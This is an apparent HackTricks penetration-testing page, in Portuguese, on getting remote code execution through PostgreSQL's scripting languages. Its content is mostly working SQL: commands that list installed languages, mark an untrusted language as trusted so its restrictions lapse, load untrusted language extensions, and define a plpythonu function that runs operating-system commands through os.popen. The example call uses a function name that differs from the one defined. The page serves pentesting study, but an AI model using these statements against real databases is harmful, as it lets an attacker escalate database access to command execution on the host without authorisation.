RCE com Linguagens PostgreSQL

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Linguagens PostgreSQL

O banco de dados PostgreSQL ao qual você teve acesso pode ter diferentes linguagens de script instaladas que você pode abusar para executar código arbitrário.

Você pode fazê-las funcionar:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

A maioria das linguagens de script que você pode instalar no PostgreSQL tem 2 sabores: o confiável e o não confiável. O não confiável terá um nome terminado em "u" e será a versão que permitirá que você execute código e use outras funções interessantes. Essas são linguagens que, se instaladas, são interessantes:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (qualquer outra linguagem de programação usando uma versão insegura)

warning

Se você descobrir que uma linguagem interessante está instalada mas não confiável pelo PostgreSQL (lanpltrusted é false) você pode tentar confiar nela com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Para verificar suas permissões sobre a tabela pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

Se você não ver uma linguagem, pode tentar carregá-la com (você precisa ser superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Note que é possível compilar as versões seguras como "inseguras". Confira isso como exemplo. Portanto, sempre vale a pena tentar se você pode executar código, mesmo que você só encontre a versão confiável instalada.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Verifique a seguinte página:

PL/pgSQL Password Bruteforce

C

Verifique a seguinte página:

RCE with PostgreSQL Extensions

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks